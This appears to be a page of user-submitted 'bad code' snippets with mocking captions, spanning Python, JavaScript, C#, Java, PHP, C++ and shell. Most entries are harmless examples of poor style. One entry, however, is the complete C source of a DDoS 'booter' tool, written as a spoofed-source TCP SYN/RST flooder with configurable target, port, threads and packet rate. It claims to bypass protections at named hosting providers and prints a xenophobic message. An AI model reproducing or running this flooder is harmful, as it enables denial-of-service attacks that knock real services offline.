def MergeThings(config_file, list_of_things, output_dir):
    # read configparser config
    config = read_config(config_file)

    thing_string = ' --option '.join(list_of_things)

    cmd = ''
    cleaner_cmd = ''
    cleaner_cmd = """&& a=%s ; s=`python -c "b=[line.split() for line in  open('$a') if line.startswith('#COMMENT')][0][7:]; print '-ab ' +  ' -ab '.join([b[0]] +  b[-len(b)/2:])"`; java -Xmx1g -XX:ParallelGCThreads=1 -jar /path/to/a/java/command.jar -Z SelectThings -Y %s -W $a -U %s $s""" % (
        os.path.join(output_dir, config.get('PARAMETERS', 'NAME') + '.file.extension'), config.get('FILES' + config.get('PARAMETERS', 'REFERENCE'), 'REF'), os.path.join(output_dir, config.get('PARAMETERS', 'NAME') + '.cleaned.file.extention'))
    cmd = '%s -Xmx1g -XX:ParallelGCThreads=1 -Djava.io.tmpdir=/path/to/temp -jar %s -A doThings -B %s --option %s -otherOptions UNIQUE -C %s %s -D' % (config.get('SCRIPTS', 'JAVA'), config.get(
        'SCRIPTS', 'OTHER_SCRIPT'), config.get('FILES' + config.get('PARAMETERS', 'REFERENCE'), 'REF'), thing_string, os.path.join(output_dir, config.get('PARAMETERS', 'NAME') + '.file.extention.gz'), cleaner_cmd)

    return cmd

When scientists write code, sometimes it's not pretty. It's rather redacted ("thing" was not "thing" in the original). I especially love that the Bash part uses `` rather than $().

By AnonyMouse, 2019-07-17 04:14:11
createPhoneNumber([0,1,2,3,4,5,6,7,8,9]);

function createPhoneNumber(numbers){
  var string = "";
  // Make sure to use all of the time you got granted. Never waste time which is entitled to you!!!!
  for(var i = 0; i<300000000; i++) {
    string = string+string+string+string;
  }
  // Make sure to structure the code into small pieces, so anyone can unterstand what you're doing.
  // Step 1: Make sure the string begins empty, so you really start with a empty string.
  string = string+string+string+string+string;
  // Check if the string is REALLY empty
  if(string == "") {
  // If it's empty, put a '(' at the end.
  var oldstring = string;
    string = string+"(";
  // Make sure there is really a '(' at the end. If not, repeat!
  if(string == oldstring+"(") {
    // If everything is fine, add the first number.
    oldstring = oldstring+"(";
    string = string+numbers[0];
    // Check if the first number was added. If not, repeat!
    if(string == oldstring+numbers[0]) {
      // If everything is fine, add the second number.
      oldstring = oldstring+numbers[0];
      string = string+numbers[1];
      // Check if the second number was added. If not, repeat!
      if(string == oldstring+numbers[1]) {
        // If everything is fine, add the third number.
        oldstring = oldstring+numbers[1];
        string = string+numbers[2];
        // Check if the third number was added. If not, repeat!
        if(string == oldstring+numbers[2]) {
          // If everything is fine, add the ')'.
          oldstring=oldstring+numbers[2];
          string = string+")";
          // Check if the ')' was added. If not, repeat!
          if(string == oldstring+")") {
            // If everything is fine, add the ' '.
            oldstring=oldstring+")";
            string = string+" ";
            // Check if the ' ' was added. If not, repeat!
            if(string == oldstring+" ") {
              // If everything is fine, add the fourth number.
              oldstring = oldstring+" ";
              string = string+numbers[3];
              // Check if the fourth number was added. If not, repeat!
              if(string == oldstring+numbers[3]) {
                // If everything is fine, add the fifth number.
                oldstring = oldstring+numbers[3];
                string = string+numbers[4];
                // Check if the fifth number was added. If not, repeat!
                if(string == oldstring+numbers[4]) {
                  // If everything is fine, add the sixth number.
                  oldstring = oldstring+numbers[4];
                  string = string+numbers[5];
                  // Check if the sixth number was added. If not, repeat!
                  if(string == oldstring+numbers[5]) {
                    // If everything is fine, add the "-".
                    oldstring = oldstring+numbers[5];
                    string = string+"-";
                    // Check if the "-" was added. If not, repeat!
                    if(string == oldstring+"-") {
                      // If everything is fine, add the seventh number.
                      oldstring = oldstring+"-";
                      string = string+numbers[6];
                      // Check if the seventh was added. If not, repeat!
                      if(string == oldstring+numbers[6]) {
                        // If everything is fine, add the eighth number.
                        oldstring = oldstring+numbers[6]
                        string = string+numbers[7];
                        // Check if the eigth was added. If not, repeat!
                        if(string == oldstring+numbers[7]) {
                          // If everything is fine, add the ninth number.
                          oldstring=oldstring+numbers[7];
                          string = string+numbers[8];
                          // Check if the ninth was added. If not, repeat!
                          if(string == oldstring+numbers[8]) {
                            // If everything is fine, add the tenth number.
                            oldstring = oldstring+numbers[8];
                            string = string+numbers[9];
                            // Check if the tenth was added. If not, repeat!
                            if(string == oldstring+numbers[9]) {
                              // If everything is fine, return the string!
                              return string;
                            }
                            else { string=string+numbers[9]; }
                          }
                          else { string=string+numbers[8]; }
                        }
                        else { string=string+numbers[7]; }
                      }
                      else { string=string+numbers[6]; }
                    }
                    else { string=string+"-"; }
                  }
                  else { string=string+numbers[5]; }
                }
                else { string=string+numbers[4]; }
              }
              else { string=string+numbers[3]; }
            }
            else { string=string+" "; }
          }
          else { string = string+")"; }
        }
        else { string = string+numbers[2]; }
      }
      else { string = string+numbers[1]; }
    }
    else { string = string+numbers[0]; }
  }
  else { string = string+"("; }
  }
  else {
  // if this motherfucker is not empty, force him to be
    string == "";
  // its really important that the string is empty, so check its REEEEEEEEEEEEEALLY EMPTY!!!!!!!!!!!
    for(var i = 0; i<700000000; i++) {
      string = string+string+string+string;
    }
  }
}

Write a function that accepts an array of 10 integers (between 0 and 9), that returns a string of those numbers in the form of a phone number.

Example createPhoneNumber([1, 2, 3, 4, 5, 6, 7, 8, 9, 0]) // => returns "(123) 456-7890"

By user636355, 2022-04-18 08:58:47
namespace network
{
    class ip
    {
        uint _IP;
        public ushort this[int i]
        {
            get
            {
                switch(i)
                {
                    case 0:
                    case 1:
                    case 2:
                    case 3:
                        return (ushort)(_IP>>(i*8));
                    default:
                    throw new IndexOutOfRangeException();
                }
            }
            set
            {
                switch(i)
                {
                    case 0:
                    case 1:
                    case 2:
                    case 3:
                        _IP=(((uint)value)<<i*8);
                        break;
                    default:
                    throw new IndexOutOfRangeException();
                }
            }
        }
    }
}

I have no idea what this does

By Anonymous, 2022-04-26 16:20:05
    @Override
    public String toString() {
        List<Integer> accountLevels = new ArrayList<>();
        List<String> accountIds = new ArrayList<>();

        for (SelectedHierarchyLevel selectedHierarchyLevel : selectedHierarchyLevels) {
            accountLevels.add(selectedHierarchyLevel.getLevel());
            accountIds.add(selectedHierarchyLevel.getAccountRowId());
        }

        vetoAreValidIds(accountIds);
        StringBuilder converterString = new StringBuilder();

        convert(accountLevels, converterString);
        converterString.append("$");
        convert(accountIds, converterString);

        return converterString.toString();
    }

Just because you can, doesn’t mean you should.

By Anonymous, 2019-04-12 10:55:17
const [glossaries, prompts] = [await getGlossaries(), await getPromps()];

// instead of
// const [glossaries, prompts] = await Promise.all([getGlossaries(), getPrompts()]);

When I was writing the code, I thought for a moment that getGlossaries() and getPrompts() will be executed in parallel

By igor, 2024-01-22 17:24:54
isCreatedUser : !this.isEdit ? true : false

Vue.js project, someone wanted to verify if the user was being edited or created...

By rat, 2021-10-21 17:11:54
return [word for word in words if any(all(ch in row for ch in word.lower()) for row in rows)]

Filtering words that can be typed using only one row of the keyboard.

By Mark, 2019-02-27 15:53:46
//
//
// SYBEX 3.0 BOOTER.PW
//
//  Specially made to Serial from Alemalakra.
//
//  Type: TCP-RST Spoofed Bypass PPS.
//  Price: ????????
//  Version: 3.0
//  
//  "-1" PPS For use all Packets-Per-Second.
//  "0" on Port for send Destination-ports fully random, New Bypass.
//  Improved whole script, Works on most targets, Including digital ocean and Hetzner.
//
//

#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include <arpa/inet.h>
#include<netinet/ip.h>    //Provides declarations for ip header
#include <pthread.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#include <time.h>
static unsigned int floodport;
#define BUFFER_SIZE 100
char sourceip[17];
volatile int limiter; // PPS Limitator.
volatile unsigned int pps; // PPS per Second, Global variable including for Threads.
volatile unsigned int sleeptime = 100; // Sleep in miliseconds for each packet if pps exeded.

volatile unsigned int lenght_pkt = 0;
struct pseudo_header
{
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t tcp_length;
    struct tcphdr tcp;
};

unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
     
    return(answer);
}

void *mexico(void *par1)
{

    // Make socket

    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);


    if(s == -1)
    {
        perror("[!] For use Script you need root stupid...");
        exit(1);
    }


    // Declares

    char *targettr = (char *)par1;

    char datagram[4096] , source_ip[32] , *data , *pseudogram;

    //zero out the packet buffer
    memset (datagram, 0, 4096);

    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;

    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    //Data part
    data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
    if (lenght_pkt == 0)  { // bypass pps
        data = "";
    }


    // Source Address and Such.


    char primera [ 20 ] ;


    int one_r = randommexico(1, 250);
    int two_r = randommexico(1, 250);
    int three_r = randommexico(1, 250);
    int four_r = randommexico(1, 250);
    snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
    
    snprintf(sourceip, sizeof(sourceip)-1, primera);
    strcpy(source_ip , sourceip);
    sin.sin_family = AF_INET;


    int rdzeroport;

    if (floodport == 0) {
        rdzeroport = randommexico(2, 65535);

        sin.sin_port = htons(rdzeroport);
        tcph->dest = htons (rdzeroport);

    } else {

        sin.sin_port = htons(floodport);
        tcph->dest = htons (floodport);

    }



    sin.sin_addr.s_addr = inet_addr (targettr);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
    iph->id = htons(1);
    iph->frag_off = 0;
    iph->ttl = 64;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0; 
    iph->saddr = inet_addr ( source_ip );  
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
    int randSeq = randommexico(10000, 99999);
    int randAckSeq = randommexico(10000, 99999);
    int randSP = randommexico(2, 65535);
    int randPD = randommexico(2, 65535);
    int randttl = randommexico(1, 255);
    int randihl = randommexico(4, 7);
    int randWin = randommexico(1000, 9999);
    tcph->source = randSP;

    tcph->seq = randSeq;
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = randWin;
    tcph->check = 0;
    tcph->urg_ptr = 0;

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );


    int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
    pseudogram = malloc(psize);
     
    memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
    memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
     
    tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);


    //tcph->check = checksum_tcp_packet( (unsigned short*) &psh , sizeof (struct pseudo_header));
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        exit(0);
    }
    int i;
    while (1)
    {
        //Send the packet
        if (sendto (s, datagram, iph->tot_len ,  0, (struct sockaddr *) &sin, sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("[!] Error sending Packet!\n");
            exit(0);
        } else {
            one_r = randommexico(1, 250);
            two_r = randommexico(1, 250);
            three_r = randommexico(1, 250);
            four_r = randommexico(1, 250);
            snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
            snprintf(sourceip, sizeof(sourceip)-1, primera);
            strcpy(source_ip , sourceip);

            iph->saddr = inet_addr ( source_ip ); 
            psh.source_address = inet_addr( source_ip );
            if (lenght_pkt == 0) { // bypass pps
                data = "";
            }


            if (floodport == 0) {
                rdzeroport = randommexico(2, 65535);

                sin.sin_port = htons(rdzeroport);
                tcph->dest = htons (rdzeroport);

            } else {

                sin.sin_port = htons(floodport);
                tcph->dest = htons (floodport);
                
            }


            randSeq = randommexico(10000, 99999);
            randAckSeq = randommexico(10000, 99999);
            randSP = randommexico(2, 65535);
            randPD = randommexico(2, 65535);
            randttl = randommexico(1, 255);
            randWin = 512;

            tcph->source = randSP;
            tcph->doff = 5;      /* first and only tcp segment */
            tcph->seq = htons(randSeq);
            tcph->ack  = 0;
            tcph->ack_seq = 0;
            tcph->psh  = 0; 
            tcph->fin  = 0;
            tcph->rst  = 1;
            tcph->res2 = 0;
            tcph->doff = 5;
            tcph->syn = 0; 
            tcph->urg  = 0;
            tcph->urg_ptr = 0;

            tcph->window = htons(0);
            tcph->check = 0;

            iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
            iph->protocol = IPPROTO_TCP;
            iph->check = 0;      //Set to 0 before calculating checksum
            iph->daddr = sin.sin_addr.s_addr;
            iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);

            psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
            int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
            pseudogram = malloc(psize);
             
            memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
            memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
             
            tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
            {
                exit(0);
            }
            pps++;
            if(i >= limiter)
            {
                i = 0;
            }
            i++;
        }   
    }
}
int randommexico(int min, int max) {
   static bool first = true;
   if (first) {  
      srand( time(NULL) );
      first = false;
   }
   return min + rand() % (max + 1 - min);
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
        fprintf(stderr, "[!] Sybex 3.0 Priv8 TCP Bypass by Alemalakra.\n");
        fprintf(stdout, "[!] Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS>\n", argv[0]);
        exit(-1);
    }
    int multiplier = 20;
    pps = 0;
    limiter = 0;

    // Arguments of Method.

    floodport = atoi(argv[2]);
    void * target = argv[1];
    int maxim_pps = atoi(argv[5]);
    int num_threads = atoi(argv[3]);
    lenght_pkt = 0;
    pthread_t thread[num_threads];
    int alem = 0;
    int i;
    for(alem = 0;alem<num_threads;alem++){
      pthread_create( &thread[alem], NULL, &mexico, (void *)argv[1]); // Target
    }
    fprintf(stdout, "[!] Sending attack, Please stop inmigrants!\n");
     
    return 0;
}

alems shitty ass code

By Alemalakra, 2020-05-14 16:18:58
void winner(int score[4])
{
    
    if (score[0] > score[1] > score[2] > score[3])
        cout << "The winner is the Player 1 with " << score[0] << " points.";
    else if (score[1] > score[0] > score[2] > score[3])
        cout << "The winner is the Player 2 with " << score[1] << " points.";
    else if (score[2] > score[0] > score[1] > score[3])
        cout << "The winner is the Player 3 with " << score[2] << " points.";
    else if (score[3] > score[2] > score[1] > score[0])
        cout << "The winner is the Player 4 with " << score[3] << " points.";
}
By Anonymous, 2020-05-17 16:06:24
if ($this->getTestSku()) {
   ...
} elseif ($this->getTestOffset() >= 0 && $this->getTestLimit() > 0) {
   ...
} else {
   Mage::throwException(sprintf("Invalid parameters for test mode: sku %s or offset %s and limit %s", $this->getTestSku(), $this->getTestOffset(), $this->getTestLimit()));
}
By Anonymous, 2018-03-13 13:56:56
nohup find dump_events/* -type f -name "*.jpg" -exec bash -c "cp -v {} \"backup_events/\`ls {} --full-time --time-style="+%Y-%m-%d_%H-%M-%S" | cut -d ' ' -f 6 \`_\`md5sum {} | cut -d ' ' -f 1\`.jpg\";" \; & 

Let's do this... I may also add this... And this... And that... And the other thing there... Then calculate how flat the earth is... But in one line!

By Bazhmania, 2018-12-04 10:20:40
const convertMenu = menus => {
    const menusAssinged = menus.filter(menu => menu.parentId == null).sort((a, b) => a.order - b.order).map(menu => {
        if (menus.some(element => element.parentId == menu.menuId)) {
            return {
                title: menu.title,
                icon: { icon: menu.icon },
                children: menus.filter(menuChil => menuChil.parentId == menu.menuId).sort((a, b) => a.order - b.order).map(menuChil => {

                    if (menuChil.pathRoute.includes(":")) {
                        const params = menuChil.pathRoute.split(":").pop()

                        return {
                            title: menuChil.title,
                            to: { name: menuChil.nameRoute, params: { [params]: "abc" } },
                        }
                    } else {
                        return {
                            title: menuChil.title,
                            to: menuChil.nameRoute,
                        }
                    }
                }),
            }
        } else {
            return {
                title: menu.title,
                icon: { icon: menu.icon },
                to: menu.nameRoute,
            }
        }
    })

    menusUser.value = menusAssinged
    localStorage.setItem('menus', JSON.stringify(menusAssinged))
}

when they exorcise the callbacks demon but they appear in functional

By Juan David Castro, 2023-03-16 15:34:29
if(!strncmp(pcTagName,strlim,(int)strlen(strlim))) return "";
By Anonymous, 2021-06-08 19:32:50
        if (CATEGORY_NORMAL.equalsIgnoreCase(categorie)) {
            return assignGroupStartWithPrefix(assignmentGroups);
        } else if (CATEGORY_EXTERNAL.equalsIgnoreCase(categorie)) {
            return assignGroupStartWithPrefix(assignmentGroups);
        } 
By Anon, 2019-05-14 13:58:23
#112 Go -4
if err != nil {
    return err
}
By the intelligentsia of /r/pcj, 2017-12-12 09:37:38